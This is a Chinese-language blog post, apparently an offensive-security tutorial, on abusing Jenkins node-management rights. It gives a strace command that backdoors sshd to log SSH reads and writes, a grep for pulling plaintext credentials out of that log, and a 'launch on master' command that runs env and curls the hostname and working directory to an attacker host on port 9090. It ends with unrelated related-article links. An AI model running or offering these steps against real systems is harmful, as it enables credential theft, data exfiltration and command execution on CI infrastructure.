当前位置: 首页 > news >正文

Jenkins :添加node权限获取凭据、执行命令

拥有Jenkins agent权限的账号可以对node节点进行操作,通过添加不同的node可以让流水线项目在不同的节点上运行,安装Jenkins的主机默认作为master节点。

1693206336_64ec47407d15d193c5422.png!small?1693206336902

1.Jenkins 添加node获取明文凭据

通过添加node节点,本地监听ssh认证,选则凭据(明文)进行ssh认证,拿到密码。

1.新建节点-manage nodes功能

1693205859_64ec45635aa079a5ec1b6.png!small?1693205859758

1693205872_64ec45700bc3f13e1572b.png!small?1693205872433

2.填写工作目录,选择通过SSH进行远程节点身份认证,选择抓取带*号的凭据,host key选择不进行验证:

1693205887_64ec457f8281bcac13859.png!small?1693205887940

3.主机监听:这里监听主机ssh使用的是strace后门,实际也可以使用其他方式进行:

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

4.保存节点配置, Jenkins将对主机进行ssh请求:

1693205950_64ec45be79b8523c71e55.png!small?1693205950910

node节点认证日志(账号密码方式):

1693205961_64ec45c94123ffd95eb8d.png!small?1693205961786

5. 查看接受结果,这种方式获得的密码需要自行判断下起始位置

grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

1693205976_64ec45d806a0b35142d02.png!small?1693205976368

2.通过添加节点执行命令

同样的,在添加节点时可以配置在master上执行命令去进行其他节点认证,也就可以在master上执行恶意命令了。

注意:这里执行curl命令时不能使用``直接执行系统命令,所以利用时需要更换其他方式。

curl -k ip:9090/`hostname`/`pwd`
env

添加节点时也可以从控制器执行命令,Launch method 选择 通过在master上执行命令的方式:

1693205993_64ec45e98a52e744062bf.png!small?1693205994177

保存然后launch agent:

1693206122_64ec466a0280b1d06eaf0.png!small?1693206122365

可以在Log里面看到命令env的输出:

1693206115_64ec46630c4a99a6e864e.png!small?1693206115957

http://www.lryc.cn/news/168705.html

相关文章:

  • 如何实现不同MongoDB实例间的数据复制?
  • 微服务保护-隔离
  • 报错:appium AttributeError: ‘NoneType‘ object has no attribute ‘to_capabilities‘
  • MFC - 一文带你从小白到项目应用(全套1)
  • (2596. 检查骑士巡视方案leetcode,经典深搜)-------------------Java实现
  • Docker 部署 Bitwarden RS 服务
  • python与mongodb交互-->pymongo
  • 【网络】计算机网络基础
  • (1)输入输出函数:cin和cout(2)数学函数:sqrt、pow、sin、cos、tan等
  • ArmSom-W3开发板之PCIE的开发指南(一)
  • Android 13.0 framework修改AlertDialog对话框的button样式
  • 如何使用ArcGIS Pro提取河网水系
  • python pytesseract 中文文字批量识别
  • Python 之plt.plot()的介绍以及使用
  • 自动化生成代码:MyBatis 的 Generator与MyBatis-Plus 的 AutoGenerator
  • 达梦数据库-DW-国产化--九五小庞
  • LeetCode 753. 破解保险箱【欧拉回路,DFS】困难
  • 深度学习概念(术语):Fine-tuning、Knowledge Distillation, etc
  • tcp_v4_connect函数的解析
  • go-channel
  • K8s操作命令
  • 【MySQL】 MySQL数据库基础
  • vscode 下载安装
  • springboot对接postgres
  • [python 刷题] 242 Valid Anagram
  • 算法通过村第七关-树(递归/二叉树遍历)青铜笔记|手撕递归
  • #循循渐进学51单片机#点亮你的LED#not.2
  • 基于Java+SpringBoot+Vue+uniapp点餐小程序(亮点:协同过滤算法、会员系统,购物车结算、在线聊天)
  • 深度学习-全连接神经网络-详解梯度下降从BGD到ADAM - [北邮鲁鹏]
  • 数据结构--二叉排序树